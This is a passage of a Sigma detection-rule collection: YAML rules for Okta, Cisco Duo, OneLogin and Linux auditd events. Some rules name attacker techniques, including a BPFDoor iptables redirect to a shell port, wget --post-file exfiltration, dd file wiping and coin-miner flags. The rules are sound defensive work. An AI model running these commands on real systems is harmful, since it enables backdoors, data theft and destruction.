"content": "title: Cisco Duo Successful MFA Authentication Via Bypass Code\nid: 6f7e1c10-2dc9-4312-adb6-9574ff09a5c8\nstatus: test\ndescription: |\n Detects when a successful MFA authentication occurs due to the use of a bypass code.\n A bypass code is a temporary passcode created by an administrator for a specific user to access a Duo-protected application. These are generally used as \"backup codes,\" so that enrolled users who are having problems with their mobile devices (e.g., mobile service is disrupted, the device is lost or stolen, etc.) or who temporarily can't use their enrolled devices (on a plane without mobile data services) can still access their Duo-protected systems.\nreferences:\n - https://duo.com/docs/adminapi#logs\n - https://help.duo.com/s/article/6327?language=en_US\nauthor: Nikita Khalimonenkov\ndate: 2024-04-17\ntags:\n - attack.credential-access\n - attack.defense-evasion\n - attack.initial-access\nlogsource:\n product: cisco\n service: duo\ndetection:\n selection:\n event_type: authentication\n reason: bypass_user\n condition: selection\nfalsepositives:\n - Legitimate user that was assigned on purpose to a bypass group\nlevel: medium\n"
},
{
"path": "rules/identity/okta/okta_admin_activity_from_proxy_query.yml",
"content": "title: Okta Admin Functions Access Through Proxy\nid: 9058ca8b-f397-4fd1-a9fa-2b7aad4d6309\nstatus: test\ndescription: Detects access to Okta admin functions through proxy.\nreferences:\n - https://www.beyondtrust.com/blog/entry/okta-support-unit-breach\n - https://dataconomy.com/2023/10/23/okta-data-breach/\n - https://blog.cloudflare.com/how-cloudflare-mitigated-yet-another-okta-compromise/\nauthor: Muhammad Faisal @faisalusuf\ndate: 2023-10-25\ntags:\n - attack.credential-access\nlogsource:\n service: okta\n product: okta\ndetection:\n selection:\n debugContext.debugData.requestUri|contains: 'admin'\n securityContext.isProxy: 'true'\n condition: selection\nfalsepositives:\n - False positives are expected if administrators access these function through proxy legitimatly. Apply additional filters if necessary\nlevel: medium\n"
},
{
"path": "rules/identity/okta/okta_admin_role_assigned_to_user_or_group.yml",
"content": "title: Okta Admin Role Assigned to an User or Group\nid: 413d4a81-6c98-4479-9863-014785fd579c\nstatus: test\ndescription: Detects when an the Administrator role is assigned to an user or group.\nreferences:\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://developer.okta.com/docs/reference/api/event-types/\nauthor: Austin Songer @austinsonger\ndate: 2021-09-12\nmodified: 2022-10-09\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.t1098.003\nlogsource:\n product: okta\n service: okta\ndetection:\n selection:\n eventtype:\n - group.privilege.grant\n - user.account.privilege.grant\n condition: selection\nfalsepositives:\n - Administrator roles could be assigned to users or group by other admin users.\n\nlevel: medium\n"
},
{
"path": "rules/identity/okta/okta_admin_role_assignment_created.yml",
"content": "title: Okta Admin Role Assignment Created\nid: 139bdd4b-9cd7-49ba-a2f4-744d0a8f5d8c\nstatus: test\ndescription: Detects when a new admin role assignment is created. Which could be a sign of privilege escalation or persistence\nreferences:\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://developer.okta.com/docs/reference/api/event-types/\nauthor: Nikita Khalimonenkov\ndate: 2023-01-19\ntags:\n - attack.persistence\nlogsource:\n product: okta\n service: okta\ndetection:\n selection:\n eventtype: 'iam.resourceset.bindings.add'\n condition: selection\nfalsepositives:\n - Legitimate creation of a new admin role assignment\nlevel: medium\n"
},
{
"path": "rules/identity/okta/okta_api_token_created.yml",
"content": "title: Okta API Token Created\nid: 19951c21-229d-4ccb-8774-b993c3ff3c5c\nstatus: test\ndescription: Detects when a API token is created\nreferences:\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://developer.okta.com/docs/reference/api/event-types/\nauthor: Austin Songer @austinsonger\ndate: 2021-09-12\nmodified: 2022-10-09\ntags:\n - attack.persistence\nlogsource:\n product: okta\n service: okta\ndetection:\n selection:\n eventtype: system.api_token.create\n condition: selection\nfalsepositives:\n - Legitimate creation of an API token by authorized users\nlevel: medium\n"
},
{
"path": "rules/identity/okta/okta_api_token_revoked.yml",
"content": "title: Okta API Token Revoked\nid: cf1dbc6b-6205-41b4-9b88-a83980d2255b\nstatus: test\ndescription: Detects when a API Token is revoked.\nreferences:\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://developer.okta.com/docs/reference/api/event-types/\nauthor: Austin Songer @austinsonger\ndate: 2021-09-12\nmodified: 2022-10-09\ntags:\n - attack.impact\nlogsource:\n product: okta\n service: okta\ndetection:\n selection:\n eventtype: system.api_token.revoke\n condition: selection\nfalsepositives:\n - Unknown\n\nlevel: medium\n"
},
{
"path": "rules/identity/okta/okta_application_modified_or_deleted.yml",
"content": "title: Okta Application Modified or Deleted\nid: 7899144b-e416-4c28-b0b5-ab8f9e0a541d\nstatus: test\ndescription: Detects when an application is modified or deleted.\nreferences:\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://developer.okta.com/docs/reference/api/event-types/\nauthor: Austin Songer @austinsonger\ndate: 2021-09-12\nmodified: 2022-10-09\ntags:\n - attack.impact\nlogsource:\n product: okta\n service: okta\ndetection:\n selection:\n eventtype:\n - application.lifecycle.update\n - application.lifecycle.delete\n condition: selection\nfalsepositives:\n - Unknown\n\nlevel: medium\n"
},
{
"path": "rules/identity/okta/okta_application_sign_on_policy_modified_or_deleted.yml",
"content": "title: Okta Application Sign-On Policy Modified or Deleted\nid: 8f668cc4-c18e-45fe-ad00-624a981cf88a\nstatus: test\ndescription: Detects when an application Sign-on Policy is modified or deleted.\nreferences:\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://developer.okta.com/docs/reference/api/event-types/\nauthor: Austin Songer @austinsonger\ndate: 2021-09-12\nmodified: 2022-10-09\ntags:\n - attack.impact\nlogsource:\n product: okta\n service: okta\ndetection:\n selection:\n eventtype:\n - application.policy.sign_on.update\n - application.policy.sign_on.rule.delete\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/identity/okta/okta_fastpass_phishing_detection.yml",
"content": "title: Okta FastPass Phishing Detection\nid: ee39a9f7-5a79-4b0a-9815-d36b3cf28d3e\nstatus: test\ndescription: Detects when Okta FastPass prevents a known phishing site.\nreferences:\n - https://sec.okta.com/fastpassphishingdetection\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://developer.okta.com/docs/reference/api/event-types/\nauthor: Austin Songer @austinsonger\ndate: 2023-05-07\ntags:\n - attack.initial-access\n - attack.t1566\nlogsource:\n product: okta\n service: okta\ndetection:\n selection:\n outcome.reason: 'FastPass declined phishing attempt'\n outcome.result: FAILURE\n eventtype: user.authentication.auth_via_mfa\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/identity/okta/okta_identity_provider_created.yml",
"content": "title: Okta Identity Provider Created\nid: 969c7590-8c19-4797-8c1b-23155de6e7ac\nstatus: test\ndescription: Detects when a new identity provider is created for Okta.\nreferences:\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection\nauthor: kelnage\ndate: 2023-09-07\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.t1098.001\nlogsource:\n product: okta\n service: okta\ndetection:\n selection:\n eventtype: 'system.idp.lifecycle.create'\n condition: selection\nfalsepositives:\n - When an admin creates a new, authorised identity provider.\nlevel: medium\n"
},
{
"path": "rules/identity/okta/okta_mfa_reset_or_deactivated.yml",
"content": "title: Okta MFA Reset or Deactivated\nid: 50e068d7-1e6b-4054-87e5-0a592c40c7e0\nstatus: test\ndescription: Detects when an attempt at deactivating or resetting MFA.\nreferences:\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://developer.okta.com/docs/reference/api/event-types/\nauthor: Austin Songer @austinsonger\ndate: 2021-09-21\nmodified: 2022-10-09\ntags:\n - attack.persistence\n - attack.credential-access\n - attack.defense-evasion\n - attack.t1556.006\nlogsource:\n product: okta\n service: okta\ndetection:\n selection:\n eventtype:\n - user.mfa.factor.deactivate\n - user.mfa.factor.reset_all\n condition: selection\nfalsepositives:\n - If a MFA reset or deactivated was performed by a system administrator.\nlevel: medium\n"
},
{
"path": "rules/identity/okta/okta_network_zone_deactivated_or_deleted.yml",
"content": "title: Okta Network Zone Deactivated or Deleted\nid: 9f308120-69ed-4506-abde-ac6da81f4310\nstatus: test\ndescription: Detects when an Network Zone is Deactivated or Deleted.\nreferences:\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://developer.okta.com/docs/reference/api/event-types/\nauthor: Austin Songer @austinsonger\ndate: 2021-09-12\nmodified: 2022-10-09\ntags:\n - attack.impact\nlogsource:\n product: okta\n service: okta\ndetection:\n selection:\n eventtype:\n - zone.deactivate\n - zone.delete\n condition: selection\nfalsepositives:\n - Unknown\n\nlevel: medium\n"
},
{
"path": "rules/identity/okta/okta_new_behaviours_admin_console.yml",
"content": "title: Okta New Admin Console Behaviours\nid: a0b38b70-3cb5-484b-a4eb-c4d8e7bcc0a9\nstatus: test\ndescription: Detects when Okta identifies new activity in the Admin Console.\nreferences:\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection\nauthor: kelnage\ndate: 2023-09-07\nmodified: 2024-06-26\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.t1078.004\nlogsource:\n product: okta\n service: okta\ndetection:\n selection_event:\n eventtype: 'policy.evaluate_sign_on'\n target.displayname: 'Okta Admin Console'\n selection_positive:\n - debugcontext.debugdata.behaviors|contains: 'POSITIVE'\n - debugcontext.debugdata.logonlysecuritydata|contains: 'POSITIVE'\n condition: all of selection_*\nfalsepositives:\n - When an admin begins using the Admin Console and one of Okta's heuristics incorrectly identifies the behavior as being unusual.\nlevel: high\n"
},
{
"path": "rules/identity/okta/okta_password_in_alternateid_field.yml",
"content": "title: Potential Okta Password in AlternateID Field\nid: 91b76b84-8589-47aa-9605-c837583b82a9\nstatus: test\ndescription: |\n Detects when a user has potentially entered their password into the\n username field, which will cause the password to be retained in log files.\nreferences:\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://www.mitiga.io/blog/how-okta-passwords-can-be-compromised-uncovering-a-risk-to-user-data\n - https://help.okta.com/en-us/Content/Topics/users-groups-profiles/usgp-create-character-restriction.htm\nauthor: kelnage\ndate: 2023-04-03\nmodified: 2023-10-25\ntags:\n - attack.credential-access\n - attack.t1552\nlogsource:\n product: okta\n service: okta\ndetection:\n selection:\n legacyeventtype: 'core.user_auth.login_failed'\n filter_main:\n # Okta service account names start with 0oa\n # Email addresses are the default format for Okta usernames, so attempt\n # to exclude alternateIds that look like valid emails\n # If your Okta configuration uses different character restrictions, you\n # will need to update this regular expression to reflect that or disable the rule for your environment\n # Possible false negatives are failed login attempts with a password that looks like a valid email address\n actor.alternateid|re: '(^0oa.*|[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,10})'\n condition: selection and not filter_main\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/identity/okta/okta_policy_modified_or_deleted.yml",
"content": "title: Okta Policy Modified or Deleted\nid: 1667a172-ed4c-463c-9969-efd92195319a\nstatus: test\ndescription: Detects when an Okta policy is modified or deleted.\nreferences:\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://developer.okta.com/docs/reference/api/event-types/\nauthor: Austin Songer @austinsonger\ndate: 2021-09-12\nmodified: 2022-10-09\ntags:\n - attack.impact\nlogsource:\n product: okta\n service: okta\ndetection:\n selection:\n eventtype:\n - policy.lifecycle.update\n - policy.lifecycle.delete\n condition: selection\nfalsepositives:\n - Okta Policies being modified or deleted may be performed by a system administrator.\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Okta Policies modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: low\n"
},
{
"path": "rules/identity/okta/okta_policy_rule_modified_or_deleted.yml",
"content": "title: Okta Policy Rule Modified or Deleted\nid: 0c97c1d3-4057-45c9-b148-1de94b631931\nstatus: test\ndescription: Detects when an Policy Rule is Modified or Deleted.\nreferences:\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://developer.okta.com/docs/reference/api/event-types/\nauthor: Austin Songer @austinsonger\ndate: 2021-09-12\nmodified: 2022-10-09\ntags:\n - attack.impact\nlogsource:\n product: okta\n service: okta\ndetection:\n selection:\n eventtype:\n - policy.rule.update\n - policy.rule.delete\n condition: selection\nfalsepositives:\n - Unknown\n\nlevel: medium\n"
},
{
"path": "rules/identity/okta/okta_security_threat_detected.yml",
"content": "title: Okta Security Threat Detected\nid: 5c82f0b9-3c6d-477f-a318-0e14a1df73e0\nstatus: test\ndescription: Detects when an security threat is detected in Okta.\nreferences:\n - https://okta.github.io/okta-help/en/prod/Content/Topics/Security/threat-insight/configure-threatinsight-system-log.htm\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://developer.okta.com/docs/reference/api/event-types/\nauthor: Austin Songer @austinsonger\ndate: 2021-09-12\nmodified: 2022-10-09\ntags:\n - attack.command-and-control\nlogsource:\n product: okta\n service: okta\ndetection:\n selection:\n eventtype: security.threat.detected\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/identity/okta/okta_suspicious_activity_enduser_report.yml",
"content": "title: Okta Suspicious Activity Reported by End-user\nid: 07e97cc6-aed1-43ae-9081-b3470d2367f1\nstatus: test\ndescription: Detects when an Okta end-user reports activity by their account as being potentially suspicious.\nreferences:\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://github.com/okta/workflows-templates/blob/1164f0eb71ce47c9ddc7d850e9ab87b5a2b42333/workflows/suspicious_activity_reported/readme.md\nauthor: kelnage\ndate: 2023-09-07\ntags:\n - attack.resource-development\n - attack.t1586.003\nlogsource:\n product: okta\n service: okta\ndetection:\n selection:\n eventtype: 'user.account.report_suspicious_activity_by_enduser'\n condition: selection\nfalsepositives:\n - If an end-user incorrectly identifies normal activity as suspicious.\nlevel: high\n"
},
{
"path": "rules/identity/okta/okta_unauthorized_access_to_app.yml",
"content": "title: Okta Unauthorized Access to App\nid: 6cc2b61b-d97e-42ef-a9dd-8aa8dc951657\nstatus: test\ndescription: Detects when unauthorized access to app occurs.\nreferences:\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://developer.okta.com/docs/reference/api/event-types/\nauthor: Austin Songer @austinsonger\ndate: 2021-09-12\nmodified: 2022-10-09\ntags:\n - attack.impact\nlogsource:\n product: okta\n service: okta\ndetection:\n selection:\n displaymessage: User attempted unauthorized access to app\n condition: selection\nfalsepositives:\n - User might of believe that they had access.\nlevel: medium\n"
},
{
"path": "rules/identity/okta/okta_user_account_locked_out.yml",
"content": "title: Okta User Account Locked Out\nid: 14701da0-4b0f-4ee6-9c95-2ffb4e73bb9a\nstatus: test\ndescription: Detects when an user account is locked out.\nreferences:\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://developer.okta.com/docs/reference/api/event-types/\nauthor: Austin Songer @austinsonger\ndate: 2021-09-12\nmodified: 2022-10-09\ntags:\n - attack.impact\n - attack.t1531\nlogsource:\n product: okta\n service: okta\ndetection:\n selection:\n displaymessage: Max sign in attempts exceeded\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/identity/okta/okta_user_created.yml",
"content": "title: New Okta User Created\nid: b6c718dd-8f53-4b9f-98d8-93fdca966969\nstatus: test\ndescription: Detects new user account creation\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2023-10-25\nreferences:\n - https://developer.okta.com/docs/reference/api/event-types/\ntags:\n - attack.credential-access\nlogsource:\n service: okta\n product: okta\ndetection:\n selection:\n eventtype: 'user.lifecycle.create'\n condition: selection\nfalsepositives:\n - Legitimate and authorized user creation\nlevel: informational\n"
},
{
"path": "rules/identity/okta/okta_user_session_start_via_anonymised_proxy.yml",
"content": "title: Okta User Session Start Via An Anonymising Proxy Service\nid: bde30855-5c53-4c18-ae90-1ff79ebc9578\nstatus: test\ndescription: Detects when an Okta user session starts where the user is behind an anonymising proxy service.\nreferences:\n - https://developer.okta.com/docs/reference/api/system-log/\n - https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection\nauthor: kelnage\ndate: 2023-09-07\ntags:\n - attack.defense-evasion\n - attack.t1562.006\nlogsource:\n product: okta\n service: okta\ndetection:\n selection:\n eventtype: 'user.session.start'\n securitycontext.isproxy: 'true'\n condition: selection\nfalsepositives:\n - If a user requires an anonymising proxy due to valid justifications.\nlevel: high\n"
},
{
"path": "rules/identity/onelogin/onelogin_assumed_another_user.yml",
"content": "title: OneLogin User Assumed Another User\nid: 62fff148-278d-497e-8ecd-ad6083231a35\nstatus: test\ndescription: Detects when an user assumed another user account.\nreferences:\n - https://developers.onelogin.com/api-docs/1/events/event-resource\nauthor: Austin Songer @austinsonger\ndate: 2021-10-12\nmodified: 2022-12-25\ntags:\n - attack.impact\nlogsource:\n product: onelogin\n service: onelogin.events\ndetection:\n selection:\n event_type_id: 3\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/identity/onelogin/onelogin_user_account_locked.yml",
"content": "title: OneLogin User Account Locked\nid: a717c561-d117-437e-b2d9-0118a7035d01\nstatus: test\ndescription: Detects when an user account is locked or suspended.\nreferences:\n - https://developers.onelogin.com/api-docs/1/events/event-resource/\nauthor: Austin Songer @austinsonger\ndate: 2021-10-12\nmodified: 2022-12-25\ntags:\n - attack.impact\nlogsource:\n product: onelogin\n service: onelogin.events\ndetection:\n selection1: # Locked via API\n event_type_id: 532\n selection2: # Locked via API\n event_type_id: 553\n selection3: # Suspended via API\n event_type_id: 551\n condition: 1 of selection*\nfalsepositives:\n - System may lock or suspend user accounts.\nlevel: low\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_binary_padding.yml",
"content": "title: Binary Padding - Linux\nid: c52a914f-3d8b-4b2a-bb75-b3991e75f8ba\nstatus: test\ndescription: |\n Adversaries may use binary padding to add junk data and change the on-disk representation of malware.\n This rule detect using dd and truncate to add a junk data to file.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md\nauthor: Igor Fits, oscd.community\ndate: 2020-10-13\nmodified: 2023-05-03\ntags:\n - attack.defense-evasion\n - attack.t1027.001\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection_execve:\n type: 'EXECVE'\n keywords_truncate:\n '|all':\n - 'truncate'\n - '-s'\n keywords_dd:\n '|all':\n - 'dd'\n - 'if='\n keywords_filter:\n - 'of='\n condition: selection_execve and (keywords_truncate or (keywords_dd and not keywords_filter))\nfalsepositives:\n - Unknown\nlevel: high\nsimulation:\n - type: atomic-red-team\n name: Pad Binary to Change Hash - Linux/macOS dd\n technique: T1027.001\n atomic_guid: ffe2346c-abd5-4b45-a713-bf5f1ebd573a\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_bpfdoor_port_redirect.yml",
"content": "title: Bpfdoor TCP Ports Redirect\nid: 70b4156e-50fc-4523-aa50-c9dddf1993fc\nstatus: test\ndescription: |\n All TCP traffic on particular port from attacker is routed to different port. ex. '/sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392'\n The traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell port once it hits the iptables rule for the attacker host only.\nreferences:\n - https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/\n - https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor\nauthor: Rafal Piasecki\ndate: 2022-08-10\ntags:\n - attack.defense-evasion\n - attack.t1562.004\nlogsource:\n product: linux\n service: auditd\ndetection:\n cmd:\n type: 'EXECVE'\n a0|endswith: 'iptables'\n a1: '-t'\n a2: 'nat'\n keywords:\n - '--to-ports 42'\n - '--to-ports 43'\n condition: cmd and keywords\nfalsepositives:\n - Legitimate ports redirect\nlevel: medium\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_capabilities_discovery.yml",
"content": "title: Linux Capabilities Discovery\nid: fe10751f-1995-40a5-aaa2-c97ccb4123fe\nstatus: test\ndescription: Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges.\nreferences:\n - https://man7.org/linux/man-pages/man8/getcap.8.html\n - https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/\n - https://mn3m.info/posts/suid-vs-capabilities/\n - https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099\nauthor: 'Pawel Mazur'\ndate: 2021-11-28\nmodified: 2022-12-25\ntags:\n - attack.discovery\n - attack.defense-evasion\n - attack.privilege-escalation\n - attack.t1083\n - attack.t1548\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: EXECVE\n a0: getcap\n a1: '-r'\n a2: '/'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_change_file_time_attr.yml",
"content": "title: File Time Attribute Change - Linux\nid: b3cec4e7-6901-4b0d-a02d-8ab2d8eb818b\nstatus: test\ndescription: Detect file time attribute change to hide new or changes to existing files.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md\nauthor: 'Igor Fits, oscd.community'\ndate: 2020-10-15\nmodified: 2022-11-28\ntags:\n - attack.defense-evasion\n - attack.t1070.006\nlogsource:\n product: linux\n service: auditd\ndetection:\n execve:\n type: 'EXECVE'\n touch:\n - 'touch'\n selection2:\n - '-t'\n - '-acmr'\n - '-d'\n - '-r'\n condition: execve and touch and selection2\nfalsepositives:\n - Unknown\nlevel: medium\nsimulation:\n - type: atomic-red-team\n name: Set a file's access timestamp\n technique: T1070.006\n atomic_guid: 5f9113d5-ed75-47ed-ba23-ea3573d05810\n - type: atomic-red-team\n name: Set a file's modification timestamp\n technique: T1070.006\n atomic_guid: 20ef1523-8758-4898-b5a2-d026cc3d2c52\n - type: atomic-red-team\n name: Modify file timestamps using reference file\n technique: T1070.006\n atomic_guid: 631ea661-d661-44b0-abdb-7a7f3fc08e50\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_chattr_immutable_removal.yml",
"content": "title: Remove Immutable File Attribute - Auditd\nid: a5b977d6-8a81-4475-91b9-49dbfcd941f7\nstatus: test\ndescription: Detects removing immutable file attribute.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md\nauthor: Jakob Weinzettl, oscd.community\ndate: 2019-09-23\nmodified: 2022-11-26\ntags:\n - attack.defense-evasion\n - attack.t1222.002\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'EXECVE'\n a0|contains: 'chattr'\n a1|contains: '-i'\n condition: selection\nfalsepositives:\n - Administrator interacting with immutable files (e.g. for instance backups).\nlevel: medium\nsimulation:\n - type: atomic-red-team\n name: Remove immutable file attribute\n technique: T1222.002\n atomic_guid: e7469fe2-ad41-4382-8965-99b94dd3c13f\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_clipboard_collection.yml",
"content": "title: Clipboard Collection with Xclip Tool - Auditd\nid: 214e7e6c-f21b-47ff-bb6f-551b2d143fcf\nstatus: test\ndescription: |\n Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool.\n Xclip has to be installed.\n Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\nreferences:\n - https://linux.die.net/man/1/xclip\n - https://www.cyberciti.biz/faq/xclip-linux-insert-files-command-output-intoclipboard/\nauthor: 'Pawel Mazur'\ndate: 2021-09-24\nmodified: 2022-11-26\ntags:\n - attack.collection\n - attack.t1115\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: EXECVE\n a0: xclip\n a1:\n - '-selection'\n - '-sel'\n a2:\n - clipboard\n - clip\n a3: '-o'\n condition: selection\nfalsepositives:\n - Legitimate usage of xclip tools\nlevel: low\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_clipboard_image_collection.yml",
"content": "title: Clipboard Collection of Image Data with Xclip Tool\nid: f200dc3f-b219-425d-a17e-c38467364816\nstatus: test\ndescription: |\n Detects attempts to collect image data stored in the clipboard from users with the usage of xclip tool.\n Xclip has to be installed.\n Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\nreferences:\n - https://linux.die.net/man/1/xclip\nauthor: 'Pawel Mazur'\ndate: 2021-10-01\nmodified: 2022-10-09\ntags:\n - attack.collection\n - attack.t1115\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: EXECVE\n a0: xclip\n a1:\n - '-selection'\n - '-sel'\n a2:\n - clipboard\n - clip\n a3: '-t'\n a4|startswith: 'image/'\n a5: '-o'\n condition: selection\nfalsepositives:\n - Legitimate usage of xclip tools\nlevel: low\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_coinminer.yml",
"content": "title: Possible Coin Miner CPU Priority Param\nid: 071d5e5a-9cef-47ec-bc4e-a42e34d8d0ed\nstatus: test\ndescription: Detects command line parameter very often used with coin miners\nreferences:\n - https://xmrig.com/docs/miner/command-line-options\nauthor: Florian Roth (Nextron Systems)\ndate: 2021-10-09\nmodified: 2022-12-25\ntags:\n - attack.privilege-escalation\n - attack.t1068\nlogsource:\n product: linux\n service: auditd\ndetection:\n cmd1:\n a1|startswith: '--cpu-priority'\n cmd2:\n a2|startswith: '--cpu-priority'\n cmd3:\n a3|startswith: '--cpu-priority'\n cmd4:\n a4|startswith: '--cpu-priority'\n cmd5:\n a5|startswith: '--cpu-priority'\n cmd6:\n a6|startswith: '--cpu-priority'\n cmd7:\n a7|startswith: '--cpu-priority'\n condition: 1 of cmd*\nfalsepositives:\n - Other tools that use a --cpu-priority flag\nlevel: critical\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_data_compressed.yml",
"content": "title: Data Compressed\nid: a3b5e3e9-1b49-4119-8b8e-0344a01f21ee\nstatus: test\ndescription: An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/a78b9ed805ab9ea2e422e1aa7741e9407d82d7b1/atomics/T1560.001/T1560.001.md\nauthor: Timur Zinniatullin, oscd.community\ndate: 2019-10-21\nmodified: 2023-07-28\ntags:\n - attack.exfiltration\n - attack.collection\n - attack.t1560.001\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection1:\n type: 'execve'\n a0: 'zip'\n selection2:\n type: 'execve'\n a0: 'gzip'\n a1: '-k'\n selection3:\n type: 'execve'\n a0: 'tar'\n a1|contains: '-c'\n condition: 1 of selection*\nfalsepositives:\n - Legitimate use of archiving tools by legitimate user.\nlevel: low\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_data_exfil_wget.yml",
"content": "title: Data Exfiltration with Wget\nid: cb39d16b-b3b6-4a7a-8222-1cf24b686ffc\nstatus: test\ndescription: |\n Detects attempts to post the file with the usage of wget utility.\n The adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like /etc/shadow.\nreferences:\n - https://linux.die.net/man/1/wget\n - https://gtfobins.github.io/gtfobins/wget/\nauthor: 'Pawel Mazur'\ndate: 2021-11-18\nmodified: 2022-12-25\ntags:\n - attack.exfiltration\n - attack.t1048.003\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: EXECVE\n a0: wget\n a1|startswith: '--post-file='\n condition: selection\nfalsepositives:\n - Legitimate usage of wget utility to post a file\nlevel: medium\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_dd_delete_file.yml",
"content": "title: Overwriting the File with Dev Zero or Null\nid: 37222991-11e9-4b6d-8bdf-60fbe48f753e\nstatus: stable\ndescription: Detects overwriting (effectively wiping/deleting) of a file.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md\nauthor: Jakob Weinzettl, oscd.community\ndate: 2019-10-23\ntags:\n - attack.impact\n - attack.t1485\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'EXECVE'\n a0|contains: 'dd'\n a1|contains:\n - 'if=/dev/null'\n - 'if=/dev/zero'\n condition: selection\nfalsepositives:\n - Appending null bytes to files.\n - Legitimate overwrite of files.\nlevel: low\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_file_or_folder_permissions.yml",
"content": "title: File or Folder Permissions Change\nid: 74c01ace-0152-4094-8ae2-6fd776dd43e5\nstatus: test\ndescription: Detects file and folder permission changes.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md\nauthor: Jakob Weinzettl, oscd.community\ndate: 2019-09-23\nmodified: 2021-11-27\ntags:\n - attack.defense-evasion\n - attack.t1222.002\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'EXECVE'\n a0|contains:\n - 'chmod'\n - 'chown'\n condition: selection\nfalsepositives:\n - User interacting with files permissions (normal/daily behaviour).\nlevel: low\n"
},
{
"path": "rules/linux/auditd/execve/lnx_auditd_find_cred_in_files.yml",
